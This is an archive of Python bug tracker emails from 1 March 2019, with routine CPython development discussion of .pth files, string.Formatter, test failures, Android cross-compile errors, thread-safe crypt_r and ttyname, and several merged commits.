From report at bugs.python.org  Fri Mar  1 12:55:38 2019
From: report at bugs.python.org (Ivan Pozdeev)
Date: Fri, 01 Mar 2019 17:55:38 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <24c80d54-9b86-1b5c-afae-e49ff065a7fe@mail.ru>
Message-ID: <3e702e85-9456-356e-b1c8-b49aafd304ab@mail.ru>


Ivan Pozdeev <ivan_pozdeev at mail.ru> added the comment:

On 01.03.2019 20:27, Ivan Pozdeev wrote:
> The fact that this feature is mixed up with and often supplements 
> "real packages" that a program would explicitly use is actually 
> incidental: a package with a .pth does not need to have any 
> functionality intended for explicit use.
>
Eureka! So, there are actually two kinds of packages: "functional 
packages" to be used explicitly and "environment packages" to customize 
the execution environment. The infrastructure just doesn't distinguish 
between them and allows a package to combine both types of functionality 
for convenience.

By this logic, pywin32's .pth is effectively a private import hook to 
allow for its nonstandard structure. It could be in a separate 
"environment package" that would be a dependency but that would 
complicate things for no real gain.

The caveat with "environment packages" is that there are no predefined 
dependencies between them and between them and "functional packages". 
Their required execution order rather depends on user's needs. E.g. the 
order of import hooks' registration would matter if more than one can 
serve a specific name, and the user may prefer any of the options; 
whether some import hook is required to import some installed packages 
depends on the way they are installed.

This is the same with any other plugin functionality, too. And I'm not 
aware of any general solution because a solution is very situational. 
The best we can do here that I see is to allow the user (or, you guessed 
it, yet another "environment package" for manageability) to specify load 
order dependencies between .pth's.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Fri Mar  1 13:00:37 2019
From: report at bugs.python.org (Ross Biro)
Date: Fri, 01 Mar 2019 18:00:37 +0000
Subject: [issue36159] Modify Formatter Class to handle arbitrary objects
Message-ID: <1551463237.42.0.662245603884.issue36159@roundup.psfhosted.org>


New submission from Ross Biro <rbiro at interfacefinancial.com>:

The only point in the string.Formatter class that really depends on string output is line 245: return ''.join(result), auto_arg_index.  

I'm currently working on a problem that would be much easier if I could get access to the result list instead of having that join called.

I propose creating another overridable method in string.Formatter, say oformat that calls _vformat and is called by vformat. oformat would have the guts of vformat and just return the result list.  vformat would then consist of the call ot oformat and the join.  See Below.  The recursive call to _vformat would also need some slight modification.

The work would not be difficult and I'm willing to do it, provided there is sufficient interest.

def vformat(self, format_string, args, kwargs):
        result = self.oformat(format_string, args, kwargs)
	return ''.join(result)

def oformat(self, format_string, args, kwargs):
        used_args = set()
        result, _ = self._vformat(format_string, args, kwargs, used_args, 2)
        self.check_unused_args(used_args, args, kwargs)
        return result

----------
components: Library (Lib)
messages: 336945
nosy: Ross Biro
priority: normal
severity: normal
status: open
title: Modify Formatter Class to handle arbitrary objects
type: enhancement
versions: Python 2.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36159>
_______________________________________

From report at bugs.python.org  Fri Mar  1 13:32:14 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 01 Mar 2019 18:32:14 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551465134.84.0.566778310967.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 62be763348d16ba90f96667aa0240503261393f0 by Victor Stinner in branch 'master':
bpo-36142: Remove _PyMain structure (GH-12120)
https://github.com/python/cpython/commit/62be763348d16ba90f96667aa0240503261393f0


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Fri Mar  1 13:39:20 2019
From: report at bugs.python.org (Ivan Pozdeev)
Date: Fri, 01 Mar 2019 18:39:20 +0000
Subject: [issue36160] Multiple errors in test_site.py on
 sysconfig._CONFIG_VARS.clear() if run on its own
Message-ID: <1551465560.76.0.129130673812.issue36160@roundup.psfhosted.org>


New submission from Ivan Pozdeev <ivan_pozdeev at mail.ru>:

Sample failure:

> cpython\branches\3.7>python.bat -m test.test_site

Running Debug|x64 interpreter...
EEEEEEEEEEEEE.s.............
======================================================================
ERROR: test_addpackage (__main__.HelperFunctionsTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "C:\Users\Sasha\Documents\cpython\branches\3.7\lib\test\test_site.py", li
ne 77, in tearDown
    sysconfig._CONFIG_VARS.clear()
AttributeError: 'NoneType' object has no attribute 'clear'

======================================================================
ERROR: test_addpackage_import_bad_exec (__main__.HelperFunctionsTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "C:\Users\Sasha\Documents\cpython\branches\3.7\lib\test\test_site.py", li
ne 77, in tearDown
    sysconfig._CONFIG_VARS.clear()
AttributeError: 'NoneType' object has no attribute 'clear'

<etc>

The reason is that `sysconfig._CONFIG_VARS' is None until the first call to `sysconfig.get_config_vars()'. When the suite is used in conjunction with the others, other tests have already called it by the time test_site.py gets control.

----------
components: Tests
messages: 336947
nosy: Ivan.Pozdeev
priority: normal
severity: normal
status: open
title: Multiple errors in test_site.py on sysconfig._CONFIG_VARS.clear() if run on its own
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36160>
_______________________________________

From report at bugs.python.org  Fri Mar  1 13:48:34 2019
From: report at bugs.python.org (Ivan Pozdeev)
Date: Fri, 01 Mar 2019 18:48:34 +0000
Subject: [issue36160] Multiple errors in test_site.py on
 sysconfig._CONFIG_VARS.clear() if run on its own
In-Reply-To: <1551465560.76.0.129130673812.issue36160@roundup.psfhosted.org>
Message-ID: <1551466114.13.0.0786899642844.issue36160@roundup.psfhosted.org>


Change by Ivan Pozdeev <ivan_pozdeev at mail.ru>:


----------
keywords: +patch
pull_requests: +12134
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36160>
_______________________________________

From report at bugs.python.org  Fri Mar  1 14:35:15 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 19:35:15 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551468915.2.0.709467049614.issue33608@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:


New changeset b05b711a2cef6c6c381e01069dedac372e0b9fb2 by Eric Snow in branch 'master':
bpo-33608: Use _Py_AddPendingCall() in _PyCrossInterpreterData_Release(). (gh-12024)
https://github.com/python/cpython/commit/b05b711a2cef6c6c381e01069dedac372e0b9fb2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar  1 14:38:04 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 01 Mar 2019 19:38:04 +0000
Subject: [issue36159] Modify Formatter Class to handle arbitrary objects
In-Reply-To: <1551463237.42.0.662245603884.issue36159@roundup.psfhosted.org>
Message-ID: <1551469084.81.0.895530336347.issue36159@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +eric.smith

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36159>
_______________________________________

From report at bugs.python.org  Fri Mar  1 14:45:39 2019
From: report at bugs.python.org (kellena)
Date: Fri, 01 Mar 2019 19:45:39 +0000
Subject: [issue36154] Python quit unexpectedly error
In-Reply-To: <1551415346.96.0.363606290461.issue36154@roundup.psfhosted.org>
Message-ID: <1551469539.77.0.989102452259.issue36154@roundup.psfhosted.org>


kellena <onegreatbigworld at gmail.com> added the comment:

There isn't much. I downloaded this and installed it from python.org with the install wizard. Shouldn't all of the necessary environment variables have been added at that time?

$ env | grep PYTHON

PYTHONHOME=/usr/local/bin/python3

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36154>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:05:13 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 20:05:13 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551188802.37.0.811137397494.issue36124@roundup.psfhosted.org>
Message-ID: <1551470713.37.0.197252225516.issue36124@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

Thinking about this, what is the key difference with the existing PyModule_GetState() function?  Is it just the return type (module-defined void * vs. a regular dict)?  Certainly it provides a C-only namespace that all extensions can share (like PyThreadState_Get() does), but I'm not sure that's desirable.

Anyway, I'd rather not add PyInterpreterState_GetDict() if it is essentially equivalent to PyModule_GetState().

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:15:48 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 20:15:48 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551471348.97.0.77504780453.issue33608@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:


New changeset bda918bf65a88560ec453aaba0758a9c0d49b449 by Eric Snow in branch 'master':
bpo-33608: Simplify ceval's DISPATCH by hoisting eval_breaker ahead of time. (gh-12062)
https://github.com/python/cpython/commit/bda918bf65a88560ec453aaba0758a9c0d49b449


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:22:41 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 20:22:41 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551471761.11.0.758105597277.issue33608@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

I've merged the PR for hoisting eval_breaker before the ceval loop starts.  @Raymond, see if that addresses the performance regression you've been seeing.

I'll close this issue after I've sorted out the buildbot issues David mentioned (on his Windows builders).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:31:45 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 01 Mar 2019 20:31:45 +0000
Subject: [issue36154] Python quit unexpectedly error
In-Reply-To: <1551415346.96.0.363606290461.issue36154@roundup.psfhosted.org>
Message-ID: <1551472305.15.0.727731664852.issue36154@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Yes, the Mac installer should have installed everything, but software isn't perfect. :) I would try installing again.

----------
nosy: +brett.cannon, ned.deily, ronaldoussoren

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36154>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:32:53 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 01 Mar 2019 20:32:53 +0000
Subject: [issue36153] Freeze support documentation is misleading.
In-Reply-To: <1551401372.79.0.134624139836.issue36153@roundup.psfhosted.org>
Message-ID: <1551472373.39.0.624393402743.issue36153@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
nosy: +davin, pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36153>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:36:54 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 01 Mar 2019 20:36:54 +0000
Subject: [issue35843] importlib.util docs for namespace packages innaccurate
In-Reply-To: <1548698590.94.0.426601552573.issue35843@roundup.psfhosted.org>
Message-ID: <1551472614.17.0.553938492092.issue35843@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Anyone have an opinion about the __getitem__ proposal? I'm fine with it but I wanted to make sure other import + namespace folks don't disagree.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35843>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:37:09 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 20:37:09 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551188802.37.0.811137397494.issue36124@roundup.psfhosted.org>
Message-ID: <1551472629.07.0.444968144643.issue36124@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
nosy: +petr.viktorin

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:40:58 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 01 Mar 2019 20:40:58 +0000
Subject: [issue36043] FileCookieJar constructor don't accept PathLike
In-Reply-To: <1550600762.69.0.583891908165.issue36043@roundup.psfhosted.org>
Message-ID: <1551472858.48.0.88846569233.issue36043@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 4b219ce81ed04234648a4ce4f0cb0865818abb38 by Miss Islington (bot) (St?phane Wirtel) in branch 'master':
bpo-36043: FileCookieJar supports os.PathLike (GH-11945)
https://github.com/python/cpython/commit/4b219ce81ed04234648a4ce4f0cb0865818abb38


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36043>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:41:46 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 01 Mar 2019 20:41:46 +0000
Subject: [issue36043] FileCookieJar constructor don't accept PathLike
In-Reply-To: <1550600762.69.0.583891908165.issue36043@roundup.psfhosted.org>
Message-ID: <1551472906.84.0.984484716408.issue36043@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36043>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:45:18 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 01 Mar 2019 20:45:18 +0000
Subject: [issue32387] Disallow untagged C extension import on major platforms
In-Reply-To: <1513784874.54.0.213398074469.issue32387@psf.upfronthosting.co.za>
Message-ID: <1551473118.53.0.211204924306.issue32387@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

It's 3.8 time now. :) Should we try and resolve this?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32387>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:50:51 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 20:50:51 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551188802.37.0.811137397494.issue36124@roundup.psfhosted.org>
Message-ID: <1551473451.74.0.458425739928.issue36124@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
keywords: +patch
pull_requests: +12135
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Fri Mar  1 15:52:37 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 20:52:37 +0000
Subject: [issue36124] Provide convenient C API for storing per-interpreter
 state
In-Reply-To: <1551188802.37.0.811137397494.issue36124@roundup.psfhosted.org>
Message-ID: <1551473557.51.0.872555715722.issue36124@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
assignee:  -> eric.snow

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36124>
_______________________________________

From report at bugs.python.org  Fri Mar  1 16:30:26 2019
From: report at bugs.python.org (Thomas Wouters)
Date: Fri, 01 Mar 2019 21:30:26 +0000
Subject: [issue36161] Use thread-safe functions instead of unsafe ones (crypt, 
 ttyname)
Message-ID: <1551475826.18.0.295115684796.issue36161@roundup.psfhosted.org>


New submission from Thomas Wouters <thomas at python.org>:

(good first issue, I think.)

CPython currently uses a few functions that are thread-unsafe where thread-safe version exist, at least in glibc (crypt() and ttyname(), at least). This isn't an issue when looking at CPython in isolation because these calls are guarded by the GIL, but it can be a problem if the C functions are called from other code (in an extension module, or from an application embedding CPython).

I expect it to be uncommon to be the case with crypt() and ttyname(), so it's probably not important to fix, but I do think these would make good first issues. crypt(), in particular, is called from a very self-contained (and otherwise) module, and could do with some other enhancements (proper error handling, properly #including crypt.h).

I suggest a new contributor (or someone new to C) take this on and do something like the following, using crypt as an example:
 - Add configure.ac checks for crypt.h and crypt_r()
 - In Modules/_cryptmodule.c, if present, import crypt.h and use crypt_r.
 - Check for a NULL return and raise OSerror, but possibly only when using crypt_r() (for compatibility with systems where crypt() doesn't do the right thing on error, perhaps).
 - Add tests for the new error handling (crypt() on glibc will return an error on invalid salts).

For ttyname() (called from Modules/posixmodule.c), the change would be simpler (it already handles errors), but a choice will have to be made about the size of the buffer to use, and whether to use a static buffer (which would be protected by the GIL).

There may be other functions being used in posixmodule or other modules that could conflict with non-CPython uses of the thread-unsafe functions that we could switch to thread-safe versions, but other than manually looking I'm not sure yet how to find them.

----------
components: Interpreter Core
keywords: easy (C)
messages: 336957
nosy: Mariatta, cheryl.sabella, twouters
priority: normal
severity: normal
stage: needs patch
status: open
title: Use thread-safe functions instead of unsafe ones (crypt, ttyname)

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36161>
_______________________________________

From report at bugs.python.org  Fri Mar  1 17:00:18 2019
From: report at bugs.python.org (muhzi)
Date: Fri, 01 Mar 2019 22:00:18 +0000
Subject: [issue36162] error: implicit declaration of function 'sendfile' is
 invalid in C99
Message-ID: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>


New submission from muhzi <air.oamyst517 at yahoo.com>:

I encountered yet another issue with cross compilation on android, it so happens that these errors occur only when I cross compile for non 64-bit archs. i.e. I could cross compile just fine for arm64 & x86_64 but the 32-bit version of these archs produces the following error during compilation:

./Modules/posixmodule.c:8457:19: error: implicit declaration of function 'sendfile' is invalid in C99 [-Werror,-Wimplicit-function-declaration]
            ret = sendfile(out, in, NULL, count);
                  ^
./Modules/posixmodule.c:8457:19: warning: this function declaration is not a prototype [-Wstrict-prototypes]
./Modules/posixmodule.c:8470:15: error: implicit declaration of function 'sendfile' is invalid in C99 [-Werror,-Wimplicit-function-declaration]
        ret = sendfile(out, in, &offset, count);
              ^
./Modules/posixmodule.c:9057:14: error: implicit declaration of function 'truncate' is invalid in C99 [-Werror,-Wimplicit-function-declaration]
    result = truncate(path->narrow, length);
             ^
./Modules/posixmodule.c:9057:14: note: did you mean 'ftruncate'?
/home/muhzi/Android/Sdk/ndk-bundle/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/unistd.h:220:5: note: 'ftruncate' declared here
int ftruncate(int __fd, off_t __length) __RENAME(ftruncate64) __INTRODUCED_IN(12);
    ^
./Modules/posixmodule.c:9057:14: warning: this function declaration is not a prototype [-Wstrict-prototypes]
    result = truncate(path->narrow, length);


I attached pyconfig.h for reference, it seems that the configuration step went fine. I checked that these missing functions are able to have their corresponding headers included. Also figured after misplacing some include lines in posixmodule.c that when the preprocessor includes Python.h it fails to include definitions from successively included headers.

----------
components: Cross-Build
files: pyconfig.h
messages: 336958
nosy: Alex.Willmer, muhzi, xdegaye
priority: normal
severity: normal
status: open
title: error: implicit declaration of function 'sendfile' is invalid in C99
versions: Python 3.7
Added file: https://bugs.python.org/file48183/pyconfig.h

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Fri Mar  1 17:08:13 2019
From: report at bugs.python.org (muhzi)
Date: Fri, 01 Mar 2019 22:08:13 +0000
Subject: [issue36162] error: implicit declaration of function 'sendfile' is
 invalid in C99
In-Reply-To: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>
Message-ID: <1551478093.23.0.682290513241.issue36162@roundup.psfhosted.org>


muhzi <air.oamyst517 at yahoo.com> added the comment:

Using the latest NDK r19. Here is my compilation steps for arm:

export PATH="$ANDROID_NDK/toolchains/llvm/prebuilt/linux-x86_64/bin:$PATH"
export CC="armv7a-linux-androideabi16-clang"
export CXX="$CC++"

export AR="arm-linux-androideabi-ar"
export LD="arm-linux-androideabi-ld"
export AS="arm-linux-androideabi-as"
export STRIP="arm-linux-androideabi-strip"
export RANLIB="arm-linux-androideabi-ranlib"
export READELF="arm-linux-androideabi-readelf"

export CFLAGS=""
export CXXFLAGS=$CFLAGS
export LDFLAGS="-pie"

export CONFIG_SITE="config.site"

./configure --host=armv7a-linux-androideabi --build=x86_64-linux-gnu --disable-ipv6
make
make altinstall DESTDIR=$INSTALL_DIR

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Fri Mar  1 17:10:26 2019
From: report at bugs.python.org (sls)
Date: Fri, 01 Mar 2019 22:10:26 +0000
Subject: [issue29539] [smtplib] collect response data for all recipients
In-Reply-To: <1486946725.6.0.180199923995.issue29539@psf.upfronthosting.co.za>
Message-ID: <1551478226.42.0.797139890488.issue29539@roundup.psfhosted.org>


sls <sls at mailbox.org> added the comment:

I closed my PR. I'd just rename "senderrs" to "mta_status" or so as aforementioned change means not just storing errors. 

FirefighterBlu3, do you open a PR for this? I'd like to see this moving into 3.8 as we don't compile Python from source but using it from deb repos.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29539>
_______________________________________

From report at bugs.python.org  Fri Mar  1 17:26:49 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Fri, 01 Mar 2019 22:26:49 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551479209.87.0.0849135865317.issue33944@roundup.psfhosted.org>


Anthony Sottile <asottile at umich.edu> added the comment:

I don't have time to look through the data today but I wrote a script to collect the usages of `.pth` from pypi.  I realized after I ran it that I skipped source distributions with `.zip` extension but otherwise it's pretty complete:

https://github.com/asottile/pth-file-investigation

There are ~132 packages using `.pth` features (not including setuptools namespace packages which I had to exclude since there were so many of them).  I was planning to classify these but didn't have time to do so.

Some "highlights" from scrolling through the list, two of them are mine (future-breakpoint, future-fstrings), at least one is guido's (pyxl3), ruamel's namespace-packaging appears to use .pth (ruamel.* (12 packages))

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Fri Mar  1 17:31:38 2019
From: report at bugs.python.org (Martin Panter)
Date: Fri, 01 Mar 2019 22:31:38 +0000
Subject: [issue36161] Use thread-safe functions instead of unsafe ones (crypt, 
 ttyname)
In-Reply-To: <1551475826.18.0.295115684796.issue36161@roundup.psfhosted.org>
Message-ID: <1551479498.5.0.0317829885247.issue36161@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

In Issue 28503, ?crypt_r? was added to Python 3.7 and 3.8+, and it looks like it is still there.

Regarding error handling for ?crypt?, it is not documented, but the Python function returns None on error. You would have to consider backwards compatibility to use OSError. Perhaps add a new parameter like ?crypt(raise_error=True)??

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36161>
_______________________________________

From report at bugs.python.org  Fri Mar  1 17:36:26 2019
From: report at bugs.python.org (Thomas Wouters)
Date: Fri, 01 Mar 2019 22:36:26 +0000
Subject: [issue36161] Use thread-safe functions instead of unsafe ones (crypt, 
 ttyname)
In-Reply-To: <1551475826.18.0.295115684796.issue36161@roundup.psfhosted.org>
Message-ID: <1551479786.83.0.385676051503.issue36161@roundup.psfhosted.org>


Thomas Wouters <thomas at python.org> added the comment:

Ah, looks like I missed crypt_r getting added in 3.7. Sorry about that. Yes, the error handling would be a behaviour change, a keyword argument may be a good solution. As it is, crypt() returns None, throwing away the *reason* for the failure (which is recorded in errno).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36161>
_______________________________________

From report at bugs.python.org  Fri Mar  1 17:53:53 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 01 Mar 2019 22:53:53 +0000
Subject: [issue32129] IDLE app icon is blurry on macOS with Aqua Tk 8.6
In-Reply-To: <1511585376.3.0.213398074469.issue32129@psf.upfronthosting.co.za>
Message-ID: <1551480833.49.0.057255547938.issue32129@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:


New changeset 7eebbbd5b3907447eddadf5cb7cb1cc9230d15b2 by Terry Jan Reedy (Ned Deily) in branch 'master':
bpo-32129: Avoid blurry IDLE application icon on macOS with Tk 8.6. (GH-12031)
https://github.com/python/cpython/commit/7eebbbd5b3907447eddadf5cb7cb1cc9230d15b2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32129>
_______________________________________

From report at bugs.python.org  Fri Mar  1 17:54:13 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 01 Mar 2019 22:54:13 +0000
Subject: [issue32129] IDLE app icon is blurry on macOS with Aqua Tk 8.6
In-Reply-To: <1511585376.3.0.213398074469.issue32129@psf.upfronthosting.co.za>
Message-ID: <1551480853.19.0.455026579787.issue32129@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12136
stage: commit review -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32129>
_______________________________________

From report at bugs.python.org  Fri Mar  1 17:57:09 2019
From: report at bugs.python.org (kellena)
Date: Fri, 01 Mar 2019 22:57:09 +0000
Subject: [issue36154] Python quit unexpectedly error
In-Reply-To: <1551415346.96.0.363606290461.issue36154@roundup.psfhosted.org>
Message-ID: <1551481029.7.0.488732480579.issue36154@roundup.psfhosted.org>


kellena <onegreatbigworld at gmail.com> added the comment:

Sounds good. Maybe I didn't uninstall properly. What is the correct way to uninstall Python 3.7 on a Mac? Should I also uninstall version 2.7, the version that came with the Mac? Installing version 3.7 did not over-write version 2.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36154>
_______________________________________

From report at bugs.python.org  Fri Mar  1 18:12:47 2019
From: report at bugs.python.org (Ned Deily)
Date: Fri, 01 Mar 2019 23:12:47 +0000
Subject: [issue32129] IDLE app icon is blurry on macOS with Aqua Tk 8.6
In-Reply-To: <1511585376.3.0.213398074469.issue32129@psf.upfronthosting.co.za>
Message-ID: <1551481967.74.0.404153992057.issue32129@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:


New changeset 453100f60e3c297226eaf0b0b4eb8c817a73b5ce by Ned Deily in branch '2.7':
bpo-32129: Avoid blurry IDLE application icon on macOS with Tk 8.6. Original patch by Kevin Walzer. (GH-12034)
https://github.com/python/cpython/commit/453100f60e3c297226eaf0b0b4eb8c817a73b5ce


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32129>
_______________________________________

From report at bugs.python.org  Fri Mar  1 18:14:00 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 01 Mar 2019 23:14:00 +0000
Subject: [issue32129] IDLE app icon is blurry on macOS with Aqua Tk 8.6
In-Reply-To: <1511585376.3.0.213398074469.issue32129@psf.upfronthosting.co.za>
Message-ID: <1551482040.15.0.378513329196.issue32129@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 243b2064ce4fb7f90e69f9a4fa9c7e7ec70eba17 by Miss Islington (bot) in branch '3.7':
bpo-32129: Avoid blurry IDLE application icon on macOS with Tk 8.6. (GH-12031)
https://github.com/python/cpython/commit/243b2064ce4fb7f90e69f9a4fa9c7e7ec70eba17


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32129>
_______________________________________

From report at bugs.python.org  Fri Mar  1 18:16:45 2019
From: report at bugs.python.org (Larry Hastings)
Date: Fri, 01 Mar 2019 23:16:45 +0000
Subject: [issue33329] sigaddset() can fail on some signal numbers
In-Reply-To: <1524384471.45.0.682650639539.issue33329@psf.upfronthosting.co.za>
Message-ID: <1551482205.87.0.73711639776.issue33329@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:

These issues also occur on Python 3.4 and 3.5.  And I'm now upgraded to Ubuntu 18.10 which I guess has the new version of glibc. The regression test suite for both 3.4 and 3.5 blocks forever on three tests (multiprocessing_fork, multiprocessing_forkserver, and multiprocessing_spawn).  This affects my ability as RM to run the regression test suite, not to mention affecting the fundamental usability and trustability of 3.4 and 3.5 releases.


Can I please get backports of this patch to 3.4 and 3.5?  Note that I consider this a release blocker for 3.4 and 3.5.  And I'd expected to tag 3.4.10rc1 and 3.5.7rc1 in about twenty-four hours.  So I sure would appreciate a quick turnaround on this if folks are available--otherwise I'll have to slip the schedule.  Sorry for the late notice!

----------
nosy: +larry, lukasz.langa
resolution: fixed -> 
stage: resolved -> needs patch
status: closed -> open
versions: +Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33329>
_______________________________________

From report at bugs.python.org  Fri Mar  1 18:20:22 2019
From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=)
Date: Fri, 01 Mar 2019 23:20:22 +0000
Subject: [issue33329] sigaddset() can fail on some signal numbers
In-Reply-To: <1524384471.45.0.682650639539.issue33329@psf.upfronthosting.co.za>
Message-ID: <1551482422.22.0.791109068259.issue33329@roundup.psfhosted.org>


